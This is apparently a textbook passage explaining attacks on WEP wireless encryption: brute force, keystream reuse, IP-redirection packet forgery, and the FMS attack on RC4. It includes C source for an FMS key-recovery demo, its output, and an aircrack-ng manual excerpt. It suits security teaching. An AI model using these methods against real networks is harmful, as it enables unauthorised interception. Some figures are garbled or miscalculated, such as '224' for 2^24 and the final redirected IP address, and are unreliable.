There are several problems with the security of WEP. In all fairness, it was never meant to be a strong cryptographic protocol, but rather a way to provide a wired equivalency, as alluded to by the acronym. Aside from the security weaknesses relating to association and identities, there are several problems with the cryptographic protocol itself. Some of these problems stem from the use of CRC32 as a checksum function for message integrity, and other problems stem from the way IVs are used.
Brute forcing will always be a possible attack on any computationally secure cryptosystem. The only question that remains is whether it's a practical attack or not. With WEP, the actual method of offline brute forcing is simple: Capture a few packets, then try to decrypt the packets using every possible key. Next, recalculate the checksum for the packet, and compare this with the original checksum. If they match, then that's most likely the key. Usually, this needs to be done with at least two packets, since it's likely that a single packet can be decrypted with an invalid key yet the checksum will still be valid.
However, under the assumption of 10,000 cracks per second, brute forcing through the 40-bit keyspace would take over three years. Realistically, modern processors can achieve more than 10,000 cracks per second, but even at 200,000 cracks per second, this would take a few months. Depending on the resources and dedication of an attacker, this type of attack may or may not be feasible.
Tim Newsham has provided an effective cracking method that attacks weaknesses in the password-based key-generation algorithm that is used by most 40-bit (marketed as 64-bit) cards and access points. His method effectively reduces the 40-bit keyspace down to 21 bits, which can be cracked in a matter of minutes under the assumption of 10,000 cracks per second (and in a matter of seconds on a modern processor). More information on his methods can be found at http://www.lava.net/~newsham/wlan.
For 104-bit (marketed as 128-bit) WEP networks, brute-forcing just isn't feasible.
Another potential problem with WEP lies in keystream reuse. If two plaintexts (P ) are XORed with the same keystream to produce two separate ciphertexts (C), XORing those ciphertexts together will cancel out the keystream, resulting in the two plaintexts XORed with each other.
C1 = P1 ⊕ RC4(seed) |
C2 = P2 ⊕ RC4(seed) |
C1 ⊕ C2 = [P1 ⊕ RC4(seed)] ⊕ [P2 ⊕ RC4(seed)] = P1 ⊕ P2 |
From here, if one of the plaintexts is known, the other one can easily be recovered. In addition, since the plaintexts in this case are Internet packets with a known and fairly predictable structure, various techniques can be employed to recover both original plaintexts.
The IV is intended to prevent these types of attacks; without it, every packet would be encrypted with the same keystream. If a different IV is used for each packet, the keystreams for packets will also be different. However, if the same IV is reused, both packets will be encrypted with the same keystream. This is a condition that is easy to detect, since the IVs are included in plaintext in the encrypted packets. Moreover, the IVs used for WEP are only 24 bits in length, which nearly guarantees that IVs will be reused. Assuming that IVs are chosen at random, statistically there should be a case of keystream reuse after just 5,000 packets.
This number seems surprisingly small due to a counterintuitive probabilistic phenomenon known as the birthday paradox. This paradox states that if 23 people are in the same room, two of these people should share a birthday. With 23 people, there are (23 · 22) / 2, or 253, possible pairs. Each pair has a probability of success of 1/365, or about 0.27 percent, which corresponds to a probability of failure of 1 – (1 / 365), or about 99.726 percent. By raising this probability to the power of 253, the overall probability of failure is shown to be about 49.95 percent, meaning that the probability of success is just a little over 50 percent.
This works the same way with IV collisions. With 5,000 packets, there are (5000 · 4999) / 2, or 12,497,500, possible pairs. Each pair has a probability of failure of 1 – (1 / 224). When this is raised to the power of the number of possible pairs, the overall probability of failure is about 47.5 percent, meaning that there's a 52.5 percent chance of an IV collision with 5,000 packets:
After an IV collision is discovered, some educated guesses about the structure of the plaintexts can be used to reveal the original plaintexts by XORing the two ciphertexts together. Also, if one of the plaintexts is known, the other plaintext can be recovered with a simple XORing. One method of obtaining known plaintexts might be through spam email, where the attacker sends the spam and the victim checks mail over the encrypted wireless connection.
After plaintexts are recovered for an intercepted message, the keystream for that IV will also be known. This means that this keystream can be used to decrypt any other packet with the same IV, providing it's not longer than the recovered keystream. Over time, it's possible to create a table of keystreams indexed by every possible IV. Since there are only 224 possible IVs, if 1,500 bytes of keystream are saved for each IV, the table would only require about 24GB of storage. Once a table like this is created, all subsequent encrypted packets can be easily decrypted.
Realistically, this method of attack would be very time consuming and tedious. It's an interesting idea, but there are much easier ways to defeat WEP.
Another way to decrypt encrypted packets is to trick the access point into doing all the work. Usually, wireless access points have some form of Internet connectivity, and if this is the case, an IP redirection attack is possible. First, an encrypted packet is captured, and the destination address is changed to an IP address the attacker controls, without decrypting the packet. Then, the modified packet is sent back to the wireless access point, which will decrypt the packet and send it right to the attacker's IP address.
The packet modification is made possible due to the CRC32 checksum being a linear, unkeyed function. This means that the packet can be strategically modified and the checksum will still come out the same.
This attack also assumes that the source and destination IP addresses are known. This information is easy enough to figure out, just based on the standard internal network IP addressing schemes. Also, a few cases of keystream reuse due to IV collisions can be used to determine the addresses.
Once the destination IP address is known, this value can be XORed with the desired IP address, and this whole thing can be XORed into place in the encrypted packet. The XORing of the destination IP address will cancel out, leaving behind the desired IP address XORed with the keystream. Then, to ensure that the checksum stays the same, the source IP address must be strategically modified.
For example, assume the source address is 192.168.2.57 and the destination address is 192.168.2.1. The attacker controls the address 123.45.67.89 and wants to redirect traffic there. These IP addresses exist in the packet in the binary form of high- and low-order 16-bit words. The conversion is fairly simple:
SH = 192 · 256 + 168 = 50344 |
SL = 2 · 256 + 57 = 569 |
DH = 192 · 256 + 168 = 50344 |
DL = 2 · 256 + 1 = 513 |
NH = 123 · 256 + 45 = 31533 |
NL = 67 · 256 + 89 = 17241 |
The checksum will be changed by NH + NL – DH – DL, so this value must be subtracted from somewhere else in the packet. Since the source address is also known and doesn't matter too much, the low-order 16-bit word of that IP address makes a good target:
S'L = SL – (NH + NL – DH – DL) |
S'L = 569 – (31533 + 17241 – 50344 – 513) |
S'L = 2652 |
The new source IP address should therefore be 192.168.10.92. The source IP address can be modified in the encrypted packet using the same XORing trick, and then the checksums should match. When the packet is sent to the wireless access point, the packet will be decrypted and sent to 123.45.67.89, where the attacker can retrieve it.
If the attacker happens to have the ability to monitor packets on an entire class B network, the source address doesn't even need to be modified. Assuming the attacker had control over the entire 123.45.X.X IP range, the low-order 16-bit word of the IP address could be strategically chosen not to disturb the checksum. If NL = DH + DL – NH, the checksum won't be changed.
Here's an example:
NL = DH + DL – NH |
NL = 50,344 + 513 – 31,533 |
N'L = 82390 |
The new destination IP address should be 123.45.75.124.
The Fluhrer, Mantin, and Shamir (FMS) attack is the most commonly used attack against WEP, popularized by tools such as AirSnort. This attack is really quite amazing. It takes advantage of weaknesses in the keyscheduling algorithm of RC4 and the use of IVs.
There are weak IV values that leak information about the secret key in the first byte of the keystream. Since the same key is used over and over with different IVs, if enough packets with weak IVs are collected, and the first byte of the keystream is known, the key can be determined. Luckily, the first byte of an 802.11b packet is the snap header, which is almost always 0xAA
. This means the first byte of the keystream can be easily obtained by XORing the first encrypted byte with 0xAA
.
Next, weak IVs need to be located. IVs for WEP are 24 bits, which translates to three bytes. Weak IVs are in the form of (A + 3, N – 1, X), where A is the byte of the key to be attacked, N is 256 (since RC4 works in modulo 256), and X can be any value. So, if the zeroth byte of the keystream is being attacked, there would be 256 weak IVs in the form of (3, 255, X), where Xranges from 0 to 255. The bytes of the keystream must be attacked in order, so the first byte cannot be attacked until the zeroth byte is known.
The algorithm itself is pretty simple. First, it performs A + 3 steps of the Key Scheduling Algorithm (KSA). This can be done without knowing the key, since the IV will occupy the first three bytes of the K array. If the zeroth byte of the key is known and A equals 1, the KSA can be worked to the fourth step, since the first four bytes of the K array will be known.
At this point, if S[0] or S[1] have been disturbed by the last step, the entire attempt should be discarded. More simply stated, if j is less than 2, the attempt should be discarded. Otherwise, take the value of j and the value of S[A + 3], and subtract both of these from the first keystream byte (modulo 256, of course). This value will be the correct key byte about 5 percent of the time and effectively random less than 95 percent of the time. If this is done with enough weak IVs (with varying values for X), the correct key byte can be determined. It takes about 60 IVs to bring the probability above 50 percent. After one key byte is determined, the whole process can be done again to determine the next key byte, until the entire key is revealed.
For the sake of demonstration, RC4 will be scaled back so N equals 16 instead of 256. This means that everything is modulo 16 instead of 256, and all the arrays are 16 "bytes" consisting of 4 bits, instead of 256 actual bytes.
Assuming the key is (1, 2, 3, 4, 5), and the zeroth key byte will be attacked, A equals 0. This means the weak IVs should be in the form of (3, 15, X). In this example, X will equal 2, so the seed value will be (3, 15, 2, 1, 2, 3, 4, 5). Using this seed, the first byte of keystream output will be 9.
output = 9 |
A = 0 |
IV = 3, 15, 2 |
Key = 1, 2, 3, 4, 5 |
Seed = IV concatenated with the key |
K[] = 3 15 2 X X X X X 3 15 2 X X X X X |
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Since the key is currently unknown, the K array is loaded up with what currently is known, and the S array is filled with sequential values from 0 to 15. Then, j is initialized to 0, and the first three steps of the KSA are done. Remember that all math is done modulo 16.
i = 0 |
j = j + S[i] + K[i] |
j = 0 + 0 + 3 = 3 |
Swap S[i] and S[j] |
K[] = 3 15 2 X X X X X 3 15 2 X X X X X |
S[] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15 |
i = 1 |
j = j + S[i] + K[i] |
j = 3 + 1 + 15 = 3 |
Swap S[i] and S[j] |
K[] = 3 15 2 X X X X X 3 15 2 X X X X X |
S[] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15 |
i = 2 |
j = j + S[i] + K[i] |
j = 3 + 2 + 2 = 7 |
Swap S[i] and S[j] |
K[] = 3 15 2 X X X X X 3 15 2 X X X X X |
S[] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15 |
At this point, j isn't less than 2, so the process can continue. S[3] is 1, j is 7, and the first byte of keystream output was 9. So the zeroth byte of the key should be 9 –7 –1 = 1.
This information can be used to determine the next byte of the key, using IVs in the form of (4, 15, X) and working the KSA through to the fourth step. Using the IV (4, 15, 9), the first byte of keystream is 6.
output = 6 |
A = 0 |
IV = 4, 15, 9 |
Key = 1, 2, 3, 4, 5 |
Seed = IV concatenated with the key |
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X |
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
i = 0 |
j = j + S[i] + K[i] |
j = 0 + 0 + 4 = 4 |
Swap S[i] and S[j] |
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X |
S[] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15 |
i = 1 |
j = j + S[i] + K[i] |
j = 4 + 1 + 15 = 4 |
Swap S[i] and S[j] |
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X |
S[] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15 |
i = 2 |
j = j + S[i] + K[i] |
j = 4 + 2 + 9 = 15 |
Swap S[i] and S[j] |
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X |
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2 |
i = 3 |
j = j + S[i] + K[i] |
j = 15 + 3 + 1 = 3 |
Swap S[i] and S[j] |
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X |
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2 |
output –j – S[4] = key[1] |
6 – 3 – 1 = 2 |
Again, the correct key byte is determined. Of course, for the sake of demonstration, values for X have been strategically picked. To give you a true sense of the statistical nature of the attack against a full RC4 implementation, the following source code has been included:
#include <stdio.h> /* RC4 stream cipher */ int RC4(int *IV, int *key) { int K[256]; int S[256]; int seed[16]; int i, j, k, t; //Seed = IV + key; for(k=0; k<3; k++) seed[k] = IV[k]; for(k=0; k<13; k++) seed[k+3] = key[k]; // -= Key Scheduling Algorithm (KSA) =- //Initialize the arrays. for(k=0; k<256; k++) { S[k] = k; K[k] = seed[k%16]; } j=0; for(i=0; i < 256; i++) { j = (j + S[i] + K[i])%256; t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); } // First step of PRGA for first keystream byte i = 0; j = 0; i = i + 1; j = j + S[i]; t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]); k = (S[i] + S[j])%256; return S[k]; } int main(int argc, char *argv[]) { int K[256]; int S[256]; int IV[3]; int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213}; int seed[16]; int N = 256; int i, j, k, t, x, A; int keystream, keybyte; int max_result, max_count; int results[256]; int known_j, known_S; if(argc < 2) { printf("Usage: %s <keybyte to attack>\n", argv[0]); exit(0); } A = atoi(argv[1]); if((A > 12) || (A < 0)) { printf("keybyte must be from 0 to 12.\n"); exit(0); } for(k=0; k < 256; k++) results[k] = 0; IV[0] = A + 3; IV[1] = N - 1; for(x=0; x < 256; x++) { IV[2] = x; keystream = RC4(IV, key); printf("Using IV: (%d, %d, %d), first keystream byte is %u\n", IV[0], IV[1], IV[2], keystream); printf("Doing the first %d steps of KSA.. ", A+3); //Seed = IV + key; for(k=0; k<3; k++) seed[k] = IV[k]; for(k=0; k<13; k++) seed[k+3] = key[k]; // -= Key Scheduling Algorithm (KSA) =- //Initialize the arrays. for(k=0; k<256; k++) { S[k] = k; K[k] = seed[k%16]; } j=0; for(i=0; i < (A + 3); i++) { j = (j + S[i] + K[i])%256; t = S[i]; S[i] = S[j]; S[j] = t; } if(j < 2) { // If j < 2, then S[0] or S[1] have been disturbed. printf("S[0] or S[1] have been disturbed, discarding..\n"); } else { known_j = j; known_S = S[A+3]; printf("at KSA iteration #%d, j=%d and S[%d]=%d\n", A+3, known_j, A+3, known_S); keybyte = keystream - known_j - known_S; while(keybyte < 0) keybyte = keybyte + 256; printf("key[%d] prediction = %d - %d - %d = %d\n", A, keystream, known_j, known_S, keybyte); results[keybyte] = results[keybyte] + 1; } } max_result = -1; max_count = 0; for(k=0; k < 256; k++) { if(max_count < results[k]) { max_count = results[k]; max_result = k; } } printf("\nFrequency table for key[%d] (* = most frequent)\n", A); for(k=0; k < 32; k++) { for(i=0; i < 8; i++) { t = k+i*32; if(max_result == t) printf("%3d %2d*| ", t, results[t]); else printf("%3d %2d | ", t, results[t]); } printf("\n"); } printf("\n[Actual Key] = ("); for(k=0; k < 12; k++) printf("%d, ",key[k]); printf("%d)\n", key[12]); printf("key[%d] is probably %d\n", A, max_result); }
This code performs the FMS attack on 128-bit WEP (104-bit key, 24-bit IV), using every possible value of X. The key byte to attack is the only argument, and the key is hard-coded into the key
array. The following output shows the compilation and execution of the fms.c code to crack an RC4 key.
reader@hacking:~/booksrc $ gcc -o fms fms.c reader@hacking:~/booksrc $ ./fms Usage: ./fms <keybyte to attack> reader@hacking:~/booksrc $ ./fms 0 Using IV: (3, 255, 0), first keystream byte is 7 Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1 key[0] prediction = 7 - 5 - 1 = 1 Using IV: (3, 255, 1), first keystream byte is 211 Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1 key[0] prediction = 211 - 6 - 1 = 204 Using IV: (3, 255, 2), first keystream byte is 241 Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1 key[0] prediction = 241 - 7 - 1 = 233 .:[ output trimmed ]:. Using IV: (3, 255, 252), first keystream byte is 175 Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed, discarding.. Using IV: (3, 255, 253), first keystream byte is 149 Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1 key[0] prediction = 149 - 2 - 1 = 146 Using IV: (3, 255, 254), first keystream byte is 253 Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2 key[0] prediction = 253 - 3 - 2 = 248 Using IV: (3, 255, 255), first keystream byte is 72 Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1 key[0] prediction = 72 - 4 - 1 = 67 Frequency table for key[0] (* = most frequent) 0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |1 10*
| 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 | 2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 | 3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 | 4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 | 5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 | 6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 | 7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 | 8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 | 9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 | 10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 | 11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 | 12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 | 13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 | 14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 | 15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 | 16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 | 17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 | 18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 | 19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 | 20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 | 21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 | 22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 | 23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 | 24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 | 25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 | 26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 | 27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 | 28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 | 29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 | 30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 | 31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 | [Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)key[0] is probably 1
reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./fms 12 Using IV: (15, 255, 0), first keystream byte is 81 Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1 key[12] prediction = 81 - 251 - 1 = 85 Using IV: (15, 255, 1), first keystream byte is 80 Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1 key[12] prediction = 80 - 252 - 1 = 83 Using IV: (15, 255, 2), first keystream byte is 159 Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1 key[12] prediction = 159 - 253 - 1 = 161 .:[ output trimmed ]:. Using IV: (15, 255, 252), first keystream byte is 238 Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1 key[12] prediction = 238 - 236 - 1 = 1 Using IV: (15, 255, 253), first keystream byte is 197 Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1 key[12] prediction = 197 - 236 - 1 = 216 Using IV: (15, 255, 254), first keystream byte is 238 Doing the first 15 steps of KSA.. at KSA iteration #15, j=249 and S[15]=2 key[12] prediction = 238 - 249 - 2 = 243 Using IV: (15, 255, 255), first keystream byte is 176 Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1 key[12] prediction = 176 - 250 - 1 = 181 Frequency table for key[12] (* = most frequent) 0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 | 1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 | 2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 | 3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 | 4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 | 5 3 | 37 0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 | 6 1 | 38 2 | 70 2 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 | 7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3 | 199 1 | 231 1 | 8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 | 9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 | 10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 | 11 3 | 43 1 | 75 0 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 | 12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 | 13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 | 14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 | 15 1 | 47 2 | 79 1 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 | 16 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 | 17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 | 18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 | 19 0 | 51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 | 20 0 | 52 1 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 | 21 0 | 53 1 | 85 1 | 117 0 | 149 2 | 181 1 |213 12*
| 245 1 | 22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 | 23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 | 24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 | 25 1 | 57 0 | 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 | 26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 | 27 2 | 59 1 | 91 1 | 123 0 | 155 1 | 187 1 | 219 0 | 251 2 | 28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 | 29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 | 30 0 | 62 1 | 94 0 | 126 0 | 158 1 | 190 1 | 222 1 | 254 2 | 31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 2 | 255 0 | [Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)key[12] is probably 213
reader@hacking:~/booksrc $
This type of attack has been so successful that a new wireless protocol called WPA should be used if you expect any form of security. However, there are still an amazing number of wireless networks only protected by WEP. Nowadays, there are fairly robust tools to perform WEP attacks. One notable example is aircrack, which has been included with the LiveCD; however, it requires wireless hardware, which you may not have. There is plenty of documentation on how to use this tool, which is in constant development. The first manual page should get you started.
AIRCRACK-NG(1) AIRCRACK-NG(1) NAME aircrack-ng is a 802.11 WEP / WPA-PSK key cracker. SYNOPSIS aircrack-ng [options] <.cap / .ivs file(s)> DESCRIPTION aircrack-ng is a 802.11 WEP / WPA-PSK key cracker. It implements the so- called Fluhrer - Mantin - Shamir (FMS) attack, along with some new attacks by a talented hacker named KoreK. When enough encrypted packets have been gathered, aircrack-ng can almost instantly recover the WEP key. OPTIONS Common options: -a <amode> Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK. -e <essid> Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloacked.
Again, consult the Internet for hardware issues. This program popularized a clever technique for gathering IVs. Waiting to gather enough IVs from packets would take hours, or even days. But since wireless is still a network, there will be ARP traffic. Since WEP encryption doesn't modify the size of the packet, it's easy to pick out which ones are ARP. This attack captures an encrypted packet that is the size of an ARP request, and then replays it to the network thousands of times. Each time, the packet is decrypted and sent to the network, and a corresponding ARP reply is sent back out. These extra replies don't harm the network; however, they do generate a separate packet with a new IV. Using this technique of tickling the network, enough IVs to crack the WEP key can be gathered in just a few minutes.